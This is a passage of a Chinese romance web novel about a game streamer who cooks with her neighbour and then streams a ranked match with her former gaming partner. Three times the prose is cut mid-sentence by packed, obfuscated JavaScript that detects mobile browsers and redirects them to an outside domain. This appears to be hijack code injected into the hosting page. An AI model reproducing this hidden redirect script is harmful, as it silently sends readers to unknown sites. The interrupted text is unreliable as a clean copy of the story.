“如果,他还纠缠你。”关时掀起眼,脸上带着点温和的笑,“你就找我。只要在大荷,我有的是人和办法。” 他没问。但是却用平静的语气说出了非常不得了的话。 程舒晚一瞬间在脑子里跑过七八部□□电视剧和电影那些血刺呼啦的复仇桥段,马上脱口而出:“不用帮我做什么,没必要。” 关时愣了下,有点好笑又有点奇怪:“你怎么很怕我做什么似的?” 程舒晚:“……有么?” 关时:“法治社会,我不可能打打杀杀的,多蠢。” 程舒晚想那还真的难说,不过关时都这么表态了,她也不再顾虑,坐下来拿起自己那杯茶。 关时:“你难道是听谁说什么了?” 程舒晚:“……咳!” 她猝不及防差点给热茶呛死,咳嗽两声,心虚地转过头装傻,“说什么?” 这会儿可不能把苏新胜给卖了,要不然下次从哪打听八卦。 “哦,没事。”关时收回目光,握着自己右手腕,憋了几秒,“还是,这道疤之前吓到你了?” 他说着,把袖子往上撸了一截,程舒晚还没说出“我不看”,就被迫看到了他右手上的疤痕,拒绝的话卡在嘴边没说出口。 和前两次无意瞥见一眼不同,这是她看得最清楚的一次。 疤痕有增生的痕迹,比其他地方的皮肤颜色略深,坑坑洼洼的很长一段,从腕骨斜着往上,剩下的被袖子挡住。 但单单是露出来的,就已经有十几公分长了。 后面……还有多长? 程舒晚咬着舌尖,目光一动不动地钉在关时手上,关时似乎被盯得有些不自在,正要把袖子拉下,被她一把攥住了。 “别动。”程舒晚说道。 关时提起一口气,最后还是放弃挣扎,任由她处置。 程舒晚握着他的手腕,一手把他的袖子轻轻往上撸,一直把袖子拉到手肘,疤痕才在这里结束。 这样的长度,她几乎可以想象受伤的时候这条手臂是什么样的惨状。 那他妈的手臂没断都是烧高香了。 她低头看着没动,关时摩挲了下手指,语气轻松地缓和气氛:“也只是看着吓人,就医及时后续恢复也很好,所以基本没有影响,就是丑了点儿……” 他还没说完,程舒晚抬起头扫他一眼。 目光一如既往冷冷的。 但眼尾却红了。 关时愣了下,手上用了点力想把袖子抢回来,她手劲儿却不小,一下子没拽动,“你别……” “对方坐牢了吗?”程舒晚问。 就像关时没对她被造谣的原因问“为什么”一样,她也不对关时受伤的原因问“为什么”。 但是她想知道,伤害他的人有没有受到该有的惩罚。 关时看着她,老实回答:“嗯。” 程舒晚又低头,“痛吗?” “现在不会。” “我问当时。” “当时……”关时说了两个字又没了声儿,沉默好几秒,突然笑了。 他抬起手,非常轻地在程舒晚脑袋上揉了一下,又蜻蜓点水地收回了手。 “太久了,”他道,“我早就忘了。” 程舒晚抬眸凝视,第一反应是关时肯定只是为了不让她担心而在说谎。 但是没来得及表达,第二个想法就强势空降,占据了她的大脑。 关时。 摸她的头。 关时! 他! 怎么敢! 揉她的脑袋! 程舒晚刷地攥住他摸她头的手腕,关时两只手都被她攥得紧紧的,眼神如刀:“你给我蹬鼻子上脸的?” “错了。”关时挣扎都没挣扎,立刻投降,“我错了,姐,姐姐……嘶,那么用力,你晚上还直播呢,小心硌着手秀不了操作啊。” 程舒晚没松,“操一百个心,我就剩俩指头也能拿MVP。” “行行行,我的MVP大主播。”关时叹口气,“松松,真的痛,怎么反而是你把我硌着了。” 程舒晚浅浅地哼了下松开手,还没说话,关时反手就把她的手腕拽住了。 程舒晚:“……” 她猛地一挣,关时纹丝不动。 到底是谁用力啊! 程舒晚“诶”了声:“松手。” 关时也没松开,低头看着程舒晚的手。 她的手纤长,手指手背都没几两肉,苍白的皮肤藏不住血管和筋骨,要么说硌得疼呢。 程舒晚不自在地把手往回抽,这次关时松开了,她揉了揉手腕,嘀咕:“没礼貌。” “你先动手的好不好。”关时对她的双标表示抗议。 “你先摸我头的。”程舒晚对他的动手动脚表示抗议。 “咕……”然后是不知道谁的胃也发出了抗议。 两人大眼瞪小眼片刻,不约而同噗嗤地笑出声来。 “你饿了是吧?”关时笑着道。 程舒晚不依不饶:“你别恶人先告状。” 关时傻乐:“明明是你,还甩锅。” 程舒晚也憋不住笑:“你闭嘴,没点担当。” “可以了程舒晚,这个对话太傻了。” “你不是还在笑?” 两人都被这幼稚的拌嘴笑得没了力气,双双靠倒在沙发靠背。 “神经。”程舒晚说道。 她有一种非常奇妙的感觉,除了在游戏里,已经很久没有这么放松和幼稚的时刻了。 她总是支棱着自己的壳和刺,时时刻刻绷着弦,时候也想把所有事情都去他妈的扔在脑后,什么都不想,什么都不管,但是她一个人做不到。 关时居然做到了。 很奇妙。 关时瞥了眼墙上的时钟,中午十一点半了,从沙发上直起身,“准备吃饭吗?” 程舒晚确实饿了,她一般中午都在外面吃饭,但是这会儿可能出不去……她探头往楼下望了眼,宁松明的车果然还在楼下。 又不敢上来,连门铃都不按,就在这儿堵着等她出门。 程舒晚回头想问关时打算吃什么,自己做个参考,却发现关时闪现去了厨房。 动作真快,他打算打劫她的口粮吗? 程舒晚走到厨房门口,关时已经打开了冰箱,但看起来似乎对冰箱里的东西不满意,压着眉寻觅了一圈,“你平时不做饭?” 程舒晚只有明确要开火做饭才当天去买新鲜肉类,平日冰箱里只有能放一星期的蔬菜和真空保存的肉丸之类,以及烘焙用的蛋奶。 关时这是要?在她家做饭? 程舒晚的脑子在“这人有没有一点作为客人的自觉”和“我做不做饭关你屁事”的思绪里摇摆两秒,调侃:“怎么,你要给我做饭?” “不明显吗?”关时从冰箱保鲜层拿出了卷心菜和土豆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364903|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程舒晚:“……” 见关时关上冰箱门,意识到他没开玩笑,程舒晚咳嗽一声:“饭我还是会做的,不用麻烦你。” “赶我走啊,那你准备怎么吃饭?”关时看了看台面上摆放的调料,回眸上下扫她,笑了,“抓我的手都能把我硌着,我对你养好自己这件事感到堪忧。” 程舒晚:“……?” 虽然她确实在吃饭这件事情上很懈怠,也确实没把自己养得健康。 但关时是不是操心太多了点? “我听说你以前工作总是忙到没时间吃饭,身体出过问题吧,现在还不重视健康吗?”关时往厨房外走,“我妈聚餐去了,中午就我一个人做饭吃,在哪做都一样,多你一个也不麻烦。别吃白食啊,淘米煮饭,还有把土豆削皮先,我回家拿点牛肉。” “等……”程舒晚感想都没说就被安排得明明白白,关时已经出门换鞋,还不忘挥下手:“等会儿给我开门。” 不是,他真不把自己当外人啊! 程舒晚扶着厨房门框愣在原地半晌,僵硬地扭头看了看台面上放着的土豆。 好吧。 煮饭去。 关时动作还挺快,程舒晚刚在电饭煲把米饭煮上他就回来了,提了一袋牛肉,一大块豆腐,一小把葱,两瓶调料,俨然一副将上战场的大厨模样。 程舒晚见他还从家里拿了围裙过来,疑惑地指了下墙上挂着的围裙:“我这儿有。” 关时看了眼,“粉白色,我不要。” 程舒晚:“……” 死装。 程舒晚把粉白格纹的围裙自己系上了,关时也系上了自己的。他的围裙是黑白格纹,乍一看跟程舒晚的像是同款不同色的情侣样式,程舒晚不由得多看了一眼。 关时回头,正好对上她的目光,扬了扬眉,“怎么了?我穿围裙很奇怪?” “没。”程舒晚收敛思绪,拿起削皮刀给土豆削皮,“就是挺意外的,我以为你和围裙不搭。” 关时打开装牛肉的袋子,“我套个麻袋都好看。” 程舒晚:“……那还嫌弃我围裙。” 关时啧了声,“我发现你今天话挺多,这么有力气等会儿多吃两碗吧。” “看你厨艺。”程舒晚偏头,“你要做什么菜?” “土豆炖牛肉,再炒个卷心菜,做个豆腐汤。”关时笑了声,“我的厨艺跟脸一个档次,放心就好。” 程舒晚削完一个土豆拿起另一个,“不放心也没办法,你都数落我到这个份上,就是掺了农药我都得吃。” “你眼里我是什么人啊。”关时吐槽着,打燃煤气炉,起锅烧油。 程舒晚:“死装范儿话痨。” 关时:“……” 程舒晚看了他一眼,“……居家款。” 关时:“你今天真的话有点多了。” 程舒晚低头浅浅笑了一声。 关时在炖牛肉之前先用面粉裹了薄薄一层,下锅油煎,滋啦滋啦的油脂声响伴着肉香很快飘过来。程舒晚投去视线,关时正垂眸盯着锅里,手中拿着筷子,袖子因为做菜而挽上去,手臂上的疤痕露出来一半。 厨房有一扇大窗,天光给关时的发丝勾勒层白边,在烟气中显得温和柔软。 似乎察觉到程舒晚的目光,他偏过脸来,视线与她一碰,流露出些笑意。 程舒晚曾经觉得,自己的生活就是个发条上满了的玩具,在发条停止转动之前,她只能拼命往前跑,一刻都不能停留,不然等待她的就是失败与淘汰。 她也从不觉得有什么事情是永恒的,没什么事值得停留。 但是此时此刻,她突然升起一个念头。 要是时间能定格在此刻。 似乎,也挺美好的。 关时说话了。 “你土豆都能切这么丑,天赋异禀啊。” 程舒晚:“……” 31. 怀疑 她低头看自己手下的土豆,因为下刀不均匀而大小不一,确实……不太美观。 “煎你的牛肉。”她说。 真是煞风景的家伙。 关时乐着把牛肉翻面,“我以为你这种双国服千机鸟的手做什么都在行,上次蛋挞真挺好吃的。” 程舒晚把切好的土豆一拢放碗里,“好吃也堵不住你的嘴。” “是是是。”关时笑着闭了嘴。 程舒晚备菜,关时掌勺,没多久就弄好了两菜一汤,米饭也刚好出锅。程舒晚抽空蒸了几个布丁放冰箱里,准备等会儿给关时带回去,扭头看见他挖了一勺辣酱放在碟子里。 关时抬头:“你要吗?” 程舒晚木着脸:“你高看我了。” 上次一起吃烧烤的时候也是看关时面不改色地食用致死量辣椒,但那是烧烤啊,今天这几个菜哪个跟辣椒酱搭啊! 她怀疑关时就着老干妈都能下去三碗饭。 抛开关时的自我加餐,不得不承认他做的土豆炖牛肉真的无敌香。刚放到餐桌上,程舒晚就伸筷子夹了块肉放嘴里,煎过的牛肉鲜香,又炖煮得刚刚好,软而不烂,吸饱了汤汁,又杂糅了土豆的厚实鲜甜,好吃得程舒晚差点拍桌。 关时打了饭,“如何?” 程舒晚本想着夸赞两句,但是抬眼看到他藏不住得意的嘴角,还是收敛了好听的话。 “还成。”她淡定说着。 关时:“我教你做?” 程舒晚:“行。” 没有一点犹豫。 关时就知道这姑娘的傲娇劲儿,笑而不语,用筷子指着土豆炖牛肉,“牛肉容易炖老,在炖之前先裹上面粉两面煎一下,每面煎两分钟,记得……” “等下。”程舒晚生怕漏掉什么细节,起身去摸手机准备在备忘录上记一下。 关时:“如果记不住的话也没关系,可以跟我说,随时来我家吃饭。” 程舒晚那张被馋虫勾着的嘴差点就要脱口而出“好啊”,两个字都蹦到舌尖了,手机开机,弹出来几个未接电话和一水的微信消息。 她拿着手机,表情戛然而止。 就像是做着梦突然被一巴掌扇醒,她猛然回过神来,自己有点得意忘形了,真的完全忘记了蒋慧玲和宁松明从刚才起就一直堵在楼下。 忘记了能把所有事情搞砸的烂人烂事依然是跗骨之蛆,扒在她的脊髓之中。 也不知道宁松明那辆车现在还在不在楼下,程舒晚没有起身去查看,只是捏着手机抬头看了关时一眼。 关时挑眉询问:“嗯?” 他还没意识到发生了什么,依然笑盈盈地望着程舒晚。 很是耀眼。 程舒晚垂下了目光,把手机息屏,也没有继续问土豆炖牛肉的食谱了,拢起筷子,“没事,吃饭吧。” 她的情绪突然冷却下来,关时愣了愣,不由得也收敛了微笑,“我的话,给你压力了?” 程舒晚摇了摇头。 “没事,就是随口一说。”关时耸肩翻过这个话题,“我写个食谱给你,你可以自己……” “关时。”程舒晚轻声打断。 关时安静地看着她。 “我只是觉得我今天有点忘乎其形。”程舒晚抬起头,目光里没有情绪,“稍微有些越界了,抱歉。” 关时没接话,但是程舒晚能从他停滞的表情看出来,他这会儿真的有点茫然。 “我没觉得有什么问题。”关时说,“是我哪里做得让你不舒服?” “是我自己的问题。”程舒晚没挑明,这没必要让关时知道,“你很好,没有错。” 关时“哦”了声,筷子在饭碗里无意识扒拉几下,半晌才道:“你这是正式颁发好人卡?” 程舒晚低头夹菜,“你就当是吧。” 关时盯着她许久。 “你对我的边界感,”他声音很轻,“是给二更天留的?” ? 程舒晚差点给土豆噎住,但又不想让关时看出自己的震惊,于是冷着脸起身到客厅给自己倒了杯水狂饮三大口,好容易缓过神来。 怎么在这个档口提二更天?怎么联想到这里来的? 难道说关时对她的所谓“白月光”,有那么在意? 程舒晚没能捋清楚关时的脑回路,但是电光火石之间突然发现,二更天似乎是一个很不错的借口。 “是的。”她扭过头,声音很轻,没有起伏,“你可以这么理解。” 餐厅一片沉默。 程舒晚冲关时点了下头,重新回到餐桌边坐下,拿起碗筷,突然听他叹了口气。 “好狠心的女人啊,程舒晚。”关时颇为委屈地撑起下巴,语气可怜兮兮的,“我都给你做饭了,明天还顺你一道去墓园,连好话都听不到一句,好伤心哦,嘤嘤嘤。” 程舒晚:“……给我收起你那副死样子。” 稍微调节了气氛,关时很快又露出了笑容,“别担心。我知道你有自己的顾虑,这种感觉不好受,不要紧,我不会逼迫你。反正你有我的微信,我又住在楼下,遇上什么问题随时找我,只要我在,十分钟之内一定能到达你需要的地方。” 程舒晚咬了下嘴唇。 挺奇妙的。 她在这里演“我不想连累你所以把你推开”的苦戏码,关时却晃着忠厚大狗狗的笑容蹭脑袋说,我理解你,别担心,我会在。 这个青年,坦诚而敞亮。 反观自己。 ……真是差劲极了。 吃过饭后,楼下宁松明和蒋慧玲已经不知去向,今天周五,明天才是清明节假期,估计宁松明那个关系户还得回去上班,没办法陪着蒋慧玲这么闹。 关时也没打算久留,准备下楼回家,程舒晚叫住他,把刚刚自己做的布丁装盒递过去,“给星玥和阿姨都尝尝。” 关时收下了,“上次的蛋挞,她们都夸你的手艺。” “谢谢。” 程舒晚送关时到电梯间,点头告别,随后关上了门。 关时一言不发地盯着电梯显示的数字,一片静默中,回头扫了眼802的铁门。 你对我的边界感,是给二更天留的? 是的。你可以这么理解。 关时深深吸了口气,感觉手臂上那道伤疤似乎隐隐作痛起来。 他握住了右手腕。 “好吧。”他轻声地自言自语。 只要是你想要的。 程舒晚收拾了碗筷,确认蒋慧玲他们已经离开,这才重新出门去网咖录制素材剪视频。 她已经直播了一个星期,这星期二更天没有上线,没有他作为噱头,直播间的流量有所下降,但程舒晚那要死不死的高冷范儿和过硬的游戏技术确实吸引了一批人,所以每天的数据还是挺稳定的。 稳定的糊。 程舒晚收集平日在对局当中遇到的能人异士素材,或者开小号去低段位“扶持萌新”,剪辑成视频,数据都不错,也反带动了直播间的流量,所以剪辑视频也成了日常工作。 虽然忙,但相比起五年前经营“早早不起早”账号的初期阶段已经轻松很多了,当时她还得兼顾学业,整天跟个陀螺一样,哪有现在这样,还有单独的直播间与顶好的设备。 未来大主播在此再次感谢关时老板。 忙忙活活到晚上七点,程舒晚调试好设备,开始今天的直播工作。 “晚上好。”她跟弹幕打招呼。 “小鬼姐姐晚上好~” “晚上好主播!” “来了来了!” 程舒晚有一搭没一搭地跟弹幕应着,打开了匹配比赛,“我们先打一局匹配等下二更天上线,一会儿打排位。” “哦哟哟哟哟!” “男神哥今天上线?太棒啦!” “这就双排上了姐?” “怪不得主播没拿这个号打排位,原来在等男神哥段位上来啊。” 程舒晚消磨了些时间,七点半的时候,好友栏里唯一的头像亮了起来。 即便是第二次一起直播程舒晚还是未免有点儿紧张,捻了下手指,发过去排位邀请,很快二更天就出现在排位的房间之中。 “晚上好。”程舒晚开口打招呼。 -二更天:晚好,叉烧。 -二更天:想我没? 程舒晚:“……” 不知道为什么,她看到这句话,脑子里已经开始浮现关时平时说骚话时那欠揍的表情了。 这种感觉非常别扭。 别扭到她对二更天这句聊骚一句话都说不出。 倒是弹幕开始热闹起来。 “晚上好男神哥。” “想了想了。” “男神哥你说实话,其实暗恋主播吧,七年不上线是不是在欲擒故纵?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364904|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“别说了,我觉得男神哥就在直播间里潜水。” “妈妈,群众里有坏人!” 都什么乱七八糟的……程舒晚无视这个话题,“开了。” -二更天:开。 这周程舒晚每天白天都看见二更天在线,搭话才知道是代练在提升段位,现在二更天已经是中层巅峰的“阳”境界,和她就隔着一个大境界,可以一起排位了。 也不知道那家伙专程找代练,是不是为了要跟她一起双排。 这局比赛,二更天一如既往选择了控制位九尾狐,程舒晚补位选了进攻位画皮。 画皮是当下版本强势的人物,程舒晚也挺擅长,即便没有辅助跟着,前面几波兵线也能把对面的进攻位压着打。 但是上路的队友就没有那么好的实力和运气,正跟对面鏖战打得五五开,被摸过去的敌方突进偷袭,刷刷地被收掉人头。 于此同时,二更天的九尾狐从中路走到下路来支援,但这边又没有架可以打,于是晃了一圈又回中路去了。 刷存在感似的。 满心都是胜利的程舒晚没看懂二更天来干什么的,一头雾水地继续清兵,直到对方第三次下来溜达,程舒晚忍不住出声:“你回去发育,二天。” -二更天:兵都清完了,闲着也闲着。 程舒晚:“闲着去占视野,哥。” -二更天:我现在不是占着呢么。 -二更天:占着你的视野~ 说罢,二更天在原地比了个“爱心”的动作。 程舒晚手一抖对着他放了个技能。 “……崩人设了哥。”她胆战心惊道,“正常点。” 要说上周的二更天,失联七年还能毫无嫌隙地跟她进行与七年前一般无二的互动,实属神奇。 那么现在的二更天就他妈的跟抽风一样。 就好像刻意……要逗她。 想到这儿,程舒晚突然意识到一个问题:“二天,你以前的好友呢?” 她记得以前二更天有很多好友,还曾经拉着她一起凑过车队。 但是自从他重新上线之后,似乎除了跟她一起直播之外,就是代练在拉段位。 难道,他没有其他的朋友一起玩了吗? -二更天:没联系了。现在游戏里就你而已。 程舒晚:“为什么?” -二更天:因为爱你啊宝贝儿。 程舒晚:“……正常点哥。” -二更天:你怎么不信啊。 -二更天:好吧开玩笑的,没有什么特别的原因。 -二更天:因为只有你没忘记我。 程舒晚:“……” 弹幕:“男神哥有故事啊。” “这不是表白?这不是表白?” “有点get到男神哥的感动,七年啊,要是我对象能等我七年,哪怕绿我一次都能原谅!” “小鬼姐快冲啊!” “……去中。”程舒晚清理完兵线往中路而去,对二更天的“表白”闭口不言。 不是她不想回应。 她发现自己做不了回应。 只有你没忘记我。 这句话很重,但至少她没有忘记他,这是事实。 程舒晚自己也觉得挺不可思议的,一个只一起玩了一年的游戏搭子,她记了七年没忘,甚至回想起高二那年那些黑网吧里隔着屏幕一起并肩的细碎时光,还是会不由自主笑起来。 虽然她不知道为什么二更天七年没有出现,但在看到他这句话的时候就意识到,这些年,或许他过得并不好。 当年那个恣意的少年失去了很多东西,包括朋友。 按理说她该是心疼的。 可是在这种只属于他们俩之间的情绪浮现起来的时候,程舒晚几乎是毫无道理地,再次想起了关时。 想起关时手上接近二十公分的伤疤。 想起关时故作轻松的笑,伸手盖在她脑袋上。 想起关时说,太久了,他早忘了。 她对关时的心疼,对二更天的心疼,此时此刻诡异地重合在了一起。 可是这没有道理啊,他们明明是两个不一样的人。 程舒晚真切实意从心底里涌出了自我怀疑。 这难道是传说中的青梅竹马抵不过天降? 还是所谓的白月光的替身? 她原来其实是个渣女? 32. 旧人 在程舒晚陷入自我怀疑的时候,二更天似乎察觉到自己逗趣过了头,很快接上下文。 -二更天:试探一下你对节目效果的敏锐程度罢了,小叉烧。 -二更天:直播间都快聊炸了你都不接话,嘀嘟,不合格。 程舒晚:“……死开啊你。” 这家伙真烦人,浪费感情。 不过程舒晚还是松了一口气,好在二更天没有那么深情,不然她真得愧疚一番。但放松之余,她对自己的疑虑并没有减少。 她不知道自己喜不喜欢关时。 但现在,她是真的怀疑自己是不是喜欢二更天。 她惦记了他七年,这是事实。 但她惦记的到底是这个人,还是那段从黑压压的乌云当中偶尔漏下来的几缕阳光一样可贵的回忆,又或者,只是因为当初无疾而终、戛然而止的情意和再也没能碰上面的遗憾? 说不清。 而二更天呢? 或许他压根儿不在乎。 他答应她一起直播,在一起直播时说的那些话,或许也只是因为好玩儿,他本来就是肆意妄为的人,初次见面巴巴地贴上来死皮赖脸加好友,转头拍拍屁股消失七年。 虽然一开始错在她……但二更天连句话也不留。 哪像关时,说有困难就找他,有事他是真上啊。 这还对比什么,高下立判好不好。 妈的,给自己想生气了。 “二天。”程舒晚开口。 -二更天:诶。 程舒晚:“傻逼。” -二更天:? 程舒晚:“没事,骂一句心情会好。” -二更天:我请问呢? 程舒晚支援着压制一波中路的状态:“我回下路了,没事别来溜达,好好发育。” -二更天:是,听你的,大主播。 二更天答应之后就真的没再乱跑,只在必要团战才支援打架。而当程舒晚在两次单杀对面的进攻位之后,自家的辅助终于发现她是个大腿,从全图游走开始逐渐跟在她屁股后面跑,给治疗、挡技能。 这个辅助意识不错,操作也大概跟得上,帮程舒晚赢下好几场战斗,程舒晚也发了几次夸赞的信号。 然后她注意到,二更天又开始有意无意在眼跟前晃荡了。 哦。 坐不住了。 程舒晚一想到这家伙刚刚惹自己生气便好笑,也起了点儿顽劣的逗弄心思,刻意没理他,对直播间弹幕夸赞:“这个辅助挺会配合的。” 她是开着组队频道的语音的,这句话自然而然同步落到二更天耳朵里,他果然忍不了了。 -二更天:叉烧,嫌弃我咯? 程舒晚装作无辜:“没啊。” -二更天:没有你赶我走? -二更天:还故意无视我? 程舒晚叹了口气,对直播间道:“你们说这家伙是不是无理取闹。” -二更天:我告诉你我听得见。 -二更天:小鬼叉烧主播我郑重提出抗议,你这是对游戏搭子的冷暴力。 直播间弹幕快要乐过去了。 “超绝吃醋男神哥。” “辅助:怎么感觉后背冷飕飕的。” “主播快哄哄男神哥!” “小鬼姐肯定什么都知道但就是不说哈哈哈哈!” 二更天的九尾狐这次说什么都不走了,就不远不近地吊在程舒晚周边,一时间中射辅三人拧在一块,所过之处寸草不生,成了绝对的中心。 打到中盘,敌方也反应过来需要制衡一下他们仨了,在边路找了个时机,四人包抄就围剿了过来,首当其冲就是脆皮辅助,给程舒晚挡了个控制,一大堆眼花缭乱的技能全都招呼了上来。 程舒晚有心要救,但闪转腾挪之际空不出输出机会,只能呼唤二更天的控制技能让对面消停一会儿:“二天支援!” 二更天的九尾狐站在战局中心之外的草丛里,一动没动。 他在干嘛! 程舒晚又喊了声:“二天!” -二更天:我在无理取闹。 程舒晚:“……” 就这么几秒钟的功夫,敌方已经放完了一波攻势,程舒晚凭借极限的走位苟活还反带走一个人,自家辅助当场暴毙,技能和治疗都没来得及放,没能为程舒晚争取到挣脱时间,而剩下的三人已经重新包围上来。 电光火石之间,程舒晚脱口而出:“搭子救命!” -二更天:诶,来了。 他刚答应上,下一秒,九尾狐的群体控制大招精准放在程舒晚脚边,成功控住三个人。漫天而落的狐火特效像是一场浪漫的雨,却蕴含着致命杀意,为程舒晚争取到了生死时速的半秒钟。 足够了。 技能CD结束,程舒晚瞬间爆发手速,键盘和鼠标敲得飞起,配合二更天几乎满状态的九尾狐强势反打,将三人逐一击破,三杀! 直播间差点掀了。 “哈哈哈哈哈哈哈!” “千钧一发!” “男神哥好准啊!” “哈哈哈果然是在吃醋吧,特地等辅助死了才动手。” “搭子救命哈哈哈哈哈小鬼姐超快反应哈哈哈哈!” 程舒晚手都快僵了,收放几下放松肌肉,就见二更天发了新消息。 -二更天:谁才是你的搭子? 人,在极度无语的情况下,是会笑出来的。 程舒晚靠着椅背,嘴角都懒得去压了,缓了半天才非常服气道:“你你你,我唯一的搭子。” -二更天:这才对。 -二更天:有事得惦记正牌搭子,别什么阿猫阿狗都夸。 得亏这是组队聊天频道,要是让以身殉职的辅助看到他的暴论,不得跟他大吵个三百回合。 没见过心眼儿这么小的醋缸子。 “服了你。”程舒晚由衷道。 经此一役,两人之间那种微妙的尴尬也消散了,对局稳步推进,在接近半小时的时候推到敌方基地,拿下了胜利。 赢了。程舒晚伸了个懒腰活动活动手指,看了眼直播间后台的数据,果然跟第一天开播时一样,直播中只要有二更天,数据就会更加活跃。 抛开其他因素不谈,程舒晚都有点想跟二更天谈谈合作和分成了。 弹幕果然也在说这件事:“主播,男神哥可不可以常驻啊,你俩一起双排太好玩了。” “附议!” “臣附议!” “小鬼姐平时高冷帅气,遇到男神哥就开始疯狂破防哈哈哈好搞笑。” “男神哥摆而不烂,小鬼姐高而不傲,仙品啊姐妹们!” “以后就是大型连续剧,《小鬼姐和男神哥今天在一起没》,每天晚上七点半准时开播!” “好八卦你们。”程舒晚开始新一把排位赛的匹配。 -二更天:就是,好八卦。 “男神哥果然又在直播间埋伏。” “既然如此我再八卦点,男神哥,为什么你会七年没上线啊?你这不是超爱吗?” “对啊,主播你到现在都没说过你跟男神哥的故事,什么时候讲,在线等!” 程舒晚:“我把你们当朋友,你们只想看我的乐子,婉拒了哈。” “这是你求关注的手段吗?” “我觉得是求礼物的手段。” “有道理。” “欲擒故纵的小把戏~我就吃这套!” -【吟游术士】赠送礼物【粉丝牌】×5 -【棉花小气球】赠送礼物【玫瑰花束】×1 -【雪野】赠送礼物【游戏币】×10 …… 程舒晚无言地看着一溜儿粉丝送的直播礼物。 不是,她真没想讲。 现在的年轻人为了听八卦真是无所不用其极哈。 但观众都送了这么多东西,好像确实该表示点什么。 “喂,二天。”她关闭了直播的麦,私聊二更天,“有哪些事你不想被粉丝知道的?如果都不想,我就不告诉他们了。” 二更天依然没有开麦,还是打字回复。 -二更天:我不介意。 “哦。”程舒晚顿了会儿,没忍住,“包括最后我们怎么失去联系……你也不介意吗?” 聊天框一静。 程舒晚咬着舌尖紧紧盯着聊天框,在此之前他俩都心照不宣地忽略这个话题,二更天或许是因为尴尬或者有难言之隐,而程舒晚的理由则略显矫情——她不知道二更天有没有记恨她的失约。 聊天框动了,弹出来一条消息。 -二更天:嗯,不介意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364905|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>程舒晚垂眸片刻,“好。” 游戏匹配成功的画面一转,进入确认对局界面,程舒晚一边点击确认一边开口与观众们交代:“等会儿要是游戏里不忙就跟你们说说以前的事儿,其实也没什么……” 她话还没说完,声音突然消了下去,目光愣愣地钉在电脑屏幕上。 《封神图录》等待游戏确认的界面是会显示所有十个人的头像和ID的,而在对面的阵营里,程舒晚一眼就看到了个眼熟的ID。 小月幽幽。 弹幕:“主播?怎么突然不说话了?” “现在有空,现在不讲吗?和男神哥的故事!” 程舒晚回神来,用鼠标把小月幽幽的头像圈起来,“不好意思啊,对局结束再讲吧,这把游戏应该会有点忙了。” “是小月幽幽?” “匹配到大主播了!” “这个时间那么多《封神图录》主播在线,能匹配到也正常。” “小鬼姐是野核,小月幽幽只是辅助而已,没事,能打。” “可是小月幽幽的队友好像是南来吧?” “对诶,还真是南来,那完蛋了。” 直播间从发现小月幽幽的“没事没事”到“算了下一把吧”开始唱衰,程舒晚还没说什么,二更天发了条消息。 -二更天:南来是谁? “?” “男神哥不看直播也不关注比赛吗?” “我好像相信男神哥是真的七年没关注过封神图录了。” 程舒晚喝了口水,言简意赅回答:“南来是前职业,退役五年,以前打的位置跟我一样,突进。” -二更天:比你强? “……我就当你是抬举我了。”程舒晚道,“退役了也依然是职业,实力摆在那里。” 弹幕:“小鬼姐怎么一副领教过的样子。” 程舒晚:“嗯。” 弹幕:“?” “???” “啊?等下,主播是不是嗯了一声?” “我也听见了,绝对是跟南来打过!” “我草,这就是人脉吗?” 程舒晚嗯完之后就当什么都没说一样略过了这个话题,“南来突进不弱,小月幽幽和他绑定会有点麻烦,不好打。” “转移话题了。” “确实啊,虽然南来退役很久了,但是操作意识肯定还在,确实不好打。” “还有小月幽幽。” “这局是不是真的没戏了?” 程舒晚拆了颗薄荷糖扔嘴里,一丝丝凉意顺着舌尖蔓延到天灵盖,从目光里透露出来,直直盯着屏幕上的名字。 小,月,幽,幽。 除了前一天苏新胜发的截图偶然瞥见,程舒晚上一次看到这个名字还是没退网的时候,那会儿小月幽幽还在无名角落,程舒晚知道她也只是因为她当时是宁松明的女友。 她是那场造谣事件当中宁松明的帮凶和推手,甚至在造谣和雇佣水军上,比起宁松明更凶狠和过分,是个心肠恶毒又有点手段的女人。 程舒晚不知道小月幽幽对她的恶意是怎么来的,但不重要,因为现在她对小月幽幽拥有同样的恶意。 至于南来……很遗憾。 尽管过去算是点头之交,但既然站在小月幽幽那边,就是她要击败的对象。 二更天仿佛感受到了程舒晚的压力,适时地发来消息。 -二更天:不说话,紧张了? 程舒晚:“少瞧不起人。” -二更天:别担心,我在呢。 程舒晚:“……嗤。” 是啊,不用感到压力,她有搭子呢。 “你们有小月幽幽的粉丝吗?有的话现在退出去也来得及。”程舒晚双手搭上键盘鼠标,声音恢复了冷静,带着轻描淡写的狂妄,“这把我要杀得她不敢出高地。” “好好好!” 